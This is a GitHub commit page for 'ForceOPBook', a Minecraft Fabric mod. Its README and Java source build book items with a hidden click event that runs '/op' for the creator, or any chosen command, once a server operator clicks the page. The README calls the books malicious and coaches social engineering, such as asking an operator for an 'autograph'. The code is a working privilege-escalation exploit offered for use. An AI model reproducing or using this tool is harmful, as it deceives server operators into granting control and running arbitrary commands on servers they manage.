Skip to content

Commit

Permalink
ForceOPBook upload
Browse files Browse the repository at this point in the history
silly mojang forgot the warning label for books that can execute commands
  • Loading branch information
etianl authored Dec 16, 2024
0 parents commit 222613f
Show file tree
Hide file tree
Showing 11 changed files with 426 additions and 0 deletions.
16 changes: 16 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
<div align="center">
<h1><strong>ForceOpBook</strong></h1>
<p><strong>This mod allows you to create highly illegal and malicious Books in Minecraft!</strong></p>
<p><strong>Customer Service: <a href="https://discord.gg/Az3G3p4ZCj">https://discord.gg/Az3G3p4ZCj</a></strong></p>
<p>This requires<strong> Creative Mode</strong> for you to make the illegal book! The books are by default a book and quill that appears blank.. </p>
<p><strong>After making the Book and Quill give it to an operator and have them click on the first blank page to start typing. This will close the book window and the command will execute.</strong></p>
<p><strong>THE COMMAND WILL BE EXECUTED BY THE TARGET PLAYER, THEY MUST HAVE A HIGH ENOUGH PERMISSION LEVEL (Or must be Operator)!</strong></p>
</div>

Using Books to gain OP status is a very old method. This is not an original idea!

## Features:
- The **"ForceOP"** mode gives you operator status. When this mode is selected the command text field will not be used.
- The **"AnyCommand"** allows you to specify your own command.
- The **"WritableBook"** option **(ONLY AVAILABLE ON MC SERVERS v1.21.2 or GREATER)** makes a Book and Quill item which can be easily used to ask someone for an autograph.
- The **"WrittenBook"** option **(Available on all server versions)** creates a Written book that has been signed and has a title and author. These will require a little more social engineering to be used effectively.
59 changes: 59 additions & 0 deletions build.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
plugins {
id 'fabric-loom' version '1.8-SNAPSHOT'
id 'maven-publish'
}

version = project.mod_version
group = project.maven_group

dependencies {
// To change the versions see the gradle.properties file
minecraft "com.mojang:minecraft:${project.minecraft_version}"
mappings "net.fabricmc:yarn:${project.yarn_mappings}:v2"
modImplementation "net.fabricmc:fabric-loader:${project.loader_version}"

}

processResources {
inputs.property "version", project.version
inputs.property "minecraft_version", project.minecraft_version
inputs.property "loader_version", project.loader_version
filteringCharset "UTF-8"

filesMatching("fabric.mod.json") {
expand "version": project.version,
"minecraft_version": project.minecraft_version,
"loader_version": project.loader_version
}
}

def targetJavaVersion = 17
tasks.withType(JavaCompile).configureEach {
it.options.encoding = "UTF-8"
if (targetJavaVersion >= 10 || JavaVersion.current().isJava10Compatible()) {
it.options.release = targetJavaVersion
}
}

java {
def javaVersion = JavaVersion.toVersion(targetJavaVersion)
if (JavaVersion.current() < javaVersion) {
toolchain.languageVersion = JavaLanguageVersion.of(targetJavaVersion)
}
archivesBaseName = project.archives_base_name
withSourcesJar()
}

jar {
from("LICENSE") {
rename { "${it}_${project.archivesBaseName}"}
}
}

publishing {
publications {
mavenJava(MavenPublication) {
from components.java
}
}
}
12 changes: 12 additions & 0 deletions gradle.properties
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
# Done to increase the memory available to gradle.
org.gradle.jvmargs=-Xmx1G

# Fabric Properties
minecraft_version=1.21.4
yarn_mappings=1.21.4+build.2
loader_version=0.16.9

# Mod Properties
mod_version = 0.1
maven_group = TrouserStreak
archives_base_name = ForceOPBook-1.21.4
1 change: 1 addition & 0 deletions gradle/wrapper/gradle-wrapper.properties
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
distributionUrl=https\://services.gradle.org/distributions/gradle-8.11-bin.zip
9 changes: 9 additions & 0 deletions settings.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
pluginManagement {
repositories {
maven {
name = 'Fabric'
url = 'https://maven.fabricmc.net/'
}
gradlePluginPortal()
}
}
6 changes: 6 additions & 0 deletions src/main/java/bmodes/bModes.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
package bmodes;

public enum bModes {
WritableBook,
WrittenBook
}
242 changes: 242 additions & 0 deletions src/main/java/modes/CustomBookMenuScreen.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,242 @@
package modes;

import bmodes.bModes;
import net.minecraft.client.MinecraftClient;
import net.minecraft.client.gui.screen.Screen;
import net.minecraft.client.gui.widget.ButtonWidget;
import net.minecraft.client.gui.widget.CyclingButtonWidget;
import net.minecraft.client.gui.widget.TextFieldWidget;
import net.minecraft.component.ComponentChanges;
import net.minecraft.component.DataComponentTypes;
import net.minecraft.component.type.WrittenBookContentComponent;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.text.ClickEvent;
import net.minecraft.text.MutableText;
import net.minecraft.text.RawFilteredPair;
import net.minecraft.text.Text;
import org.spongepowered.asm.mixin.Unique;

import java.util.ArrayList;
import java.util.List;

import static modes.bookModes.ForceOP;

public class CustomBookMenuScreen extends Screen {
private final Screen parent;

public CustomBookMenuScreen(Screen parent) {
super(Text.literal("Custom Menu"));
this.parent = parent;
}
@Unique
private final MinecraftClient mc = MinecraftClient.getInstance();
@Unique
private bookModes currentMode = ForceOP;
@Unique
private bModes bookMode = bModes.WritableBook;
@Unique
private TextFieldWidget command1Field;
private TextFieldWidget AuthorField;
private TextFieldWidget TitleField;
private TextFieldWidget TextField;
@Unique
private CyclingButtonWidget<bookModes> modeButton;
@Unique
private CyclingButtonWidget<bModes> bmodeButton;
@Override
protected void init() {
super.init();
int startY = height / 4;
int spacing = 18;

modeButton = CyclingButtonWidget.<bookModes>builder(mode -> Text.literal(mode.name()))
.values(bookModes.values())
.initially(currentMode)
.build(230, startY + spacing, 170, 18, Text.literal("Cmd Mode"));
addDrawableChild(modeButton);
bmodeButton = CyclingButtonWidget.< bModes>builder(bmode -> Text.literal(bmode.name()))
.values(bModes.values())
.initially(bookMode)
.build(230, startY + spacing*2, 170, 18, Text.literal("Book Mode"));
addDrawableChild(bmodeButton);

addDrawableChild(new ButtonWidget.Builder(Text.literal("------>Create OP Book<------"), button -> createOpSign())
.position(230, startY + 185)
.size(170, 18)
.build()
);

addDrawableChild(new ButtonWidget.Builder(Text.literal("BACK"), button -> mc.setScreen(parent))
.position(180, startY + 185)
.size(50, 18)
.build()
);

int yPos = startY + spacing + spacing * (5);
addDrawableChild(new ButtonWidget.Builder(Text.literal("Title:"), button -> {})
.position(230, yPos-36)
.size(45, 18)
.build());
TextFieldWidget titleField = new TextFieldWidget(textRenderer, 230 + 50, yPos-36, 120, 18, Text.literal("Title"));
titleField.setMaxLength(256);
titleField.setChangedListener(newText -> onCommandChanged(2, newText));
addDrawableChild(titleField);
TitleField = titleField;

addDrawableChild(new ButtonWidget.Builder(Text.literal("Author:"), button -> {})
.position(230, yPos-18)
.size(45, 18)
.build());
TextFieldWidget authorField = new TextFieldWidget(textRenderer, 230 + 50, yPos-18, 120, 18, Text.literal("Author"));
authorField.setMaxLength(256);
authorField.setChangedListener(newText -> onCommandChanged(1, newText));
addDrawableChild(authorField);
AuthorField = authorField;

addDrawableChild(new ButtonWidget.Builder(Text.literal("Cmd:"), button -> {})
.position(230, yPos)
.size(45, 18)
.build());

TextFieldWidget commandField = new TextFieldWidget(textRenderer, 230 + 50, yPos, 120, 18, Text.literal("Command"));
commandField.setMaxLength(256);
commandField.setChangedListener(newText -> onCommandChanged(0, newText));
addDrawableChild(commandField);
command1Field = commandField;

addDrawableChild(new ButtonWidget.Builder(Text.literal("BookText:"), button -> {})
.position(230, yPos+18)
.size(45, 18)
.build());
TextFieldWidget textField = new TextFieldWidget(textRenderer, 230 + 50, yPos+18, 120, 18, Text.literal("BookText"));
textField.setMaxLength(256);
textField.setChangedListener(newText -> onCommandChanged(3, newText));
addDrawableChild(textField);
TextField = textField;

addDrawableChild(new ButtonWidget.Builder(Text.literal("§n§lCommand Options:"), button -> {})
.position(230, startY)
.size(170, 18)
.build());
}
@Unique
private String command1Value = "";
@Unique
private String AuthorValue = "";
@Unique
private String TitleValue = "";
@Unique
private String TextValue = "";
@Unique
private TextFieldWidget[] getCustomFields() {
return new TextFieldWidget[]{
command1Field, AuthorField, TitleField, TextField
};
}
@Override
public boolean mouseClicked(double mouseX, double mouseY, int button) {
boolean clickedCustomField = false;
for (TextFieldWidget field : getCustomFields()) {
if (field == null) return super.mouseClicked(mouseX, mouseY, button);
if (field.isMouseOver(mouseX, mouseY)) {
field.setFocused(true);
clickedCustomField = true;
} else {
field.setFocused(false);
}
}

return clickedCustomField || super.mouseClicked(mouseX, mouseY, button);
}

@Override
public boolean keyPressed(int keyCode, int scanCode, int modifiers) {
for (TextFieldWidget field : getCustomFields()) {
if (field == null) return super.keyPressed(keyCode, scanCode, modifiers);
if (field.isFocused()) {
return field.keyPressed(keyCode, scanCode, modifiers);
}
}

return super.keyPressed(keyCode, scanCode, modifiers);
}

@Override
public boolean charTyped(char chr, int modifiers) {
for (TextFieldWidget field : getCustomFields()) {
if (field == null) return super.charTyped(chr, modifiers);
if (field.isFocused()) {
return field.charTyped(chr, modifiers);
}
}

return super.charTyped(chr, modifiers);
}
@Unique
private void onCommandChanged(int index, String newText) {
switch (index) {
case 0 -> command1Value = newText;
case 1 -> AuthorValue = newText;
case 2 -> TitleValue = newText;
case 3 -> TextValue = newText;
}
}
@Unique
private void createOpSign() {
assert mc.player != null;
if (!mc.player.getAbilities().creativeMode) {
mc.inGameHud.getChatHud().addMessage(Text.literal("You need creative mode to make the book."));
return;
}

bookModes selectedMode = modeButton.getValue();
bModes selectedbMode = bmodeButton.getValue();

ItemStack stack = new ItemStack(Items.WRITABLE_BOOK);
if (selectedbMode == bModes.WrittenBook)stack = new ItemStack(Items.WRITTEN_BOOK);
String commandValue1 = command1Value;
String authorValue = AuthorValue;
String titleValue = TitleValue;
String textValue = TextValue;

RawFilteredPair<String> Title = RawFilteredPair.of(titleValue);
List<RawFilteredPair<Text>> pages = new ArrayList<>();
if (selectedMode == ForceOP){
MutableText pageText = Text.literal(textValue+" ")
.styled(style -> style.withClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, "/op "+mc.player.getName().getLiteralString())));
pages.add(RawFilteredPair.of(pageText));
} else {
MutableText pageText = Text.literal(textValue+" ")
.styled(style -> style.withClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, commandValue1)));
pages.add(RawFilteredPair.of(pageText));
}
WrittenBookContentComponent bookContentComponent = new WrittenBookContentComponent(
Title, authorValue, 0, pages, true
);

var changes = ComponentChanges.builder()
.add(DataComponentTypes.WRITTEN_BOOK_CONTENT, bookContentComponent)
.build();

stack.applyChanges(changes);

assert mc.interactionManager != null;
mc.interactionManager.clickCreativeStack(stack, 36 + mc.player.getInventory().selectedSlot);
mc.inGameHud.getChatHud().addMessage(Text.literal("OP Book created. Give it to an operator and have them click the first page to execute the command."));
switch (selectedMode) {
case ForceOP -> mc.inGameHud.getChatHud().addMessage(Text.literal("ForceOP mode selected. Cmd 1 will not be executed!"));
}
mc.setScreen(parent);
}

@Override
public boolean shouldCloseOnEsc() {
return true;
}

@Override
public void close() {
mc.setScreen(parent);
}
}
6 changes: 6 additions & 0 deletions src/main/java/modes/bookModes.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
package modes;

public enum bookModes {
ForceOP,
AnyCommand
}
Loading

0 comments on commit 222613f

Please sign in to comment.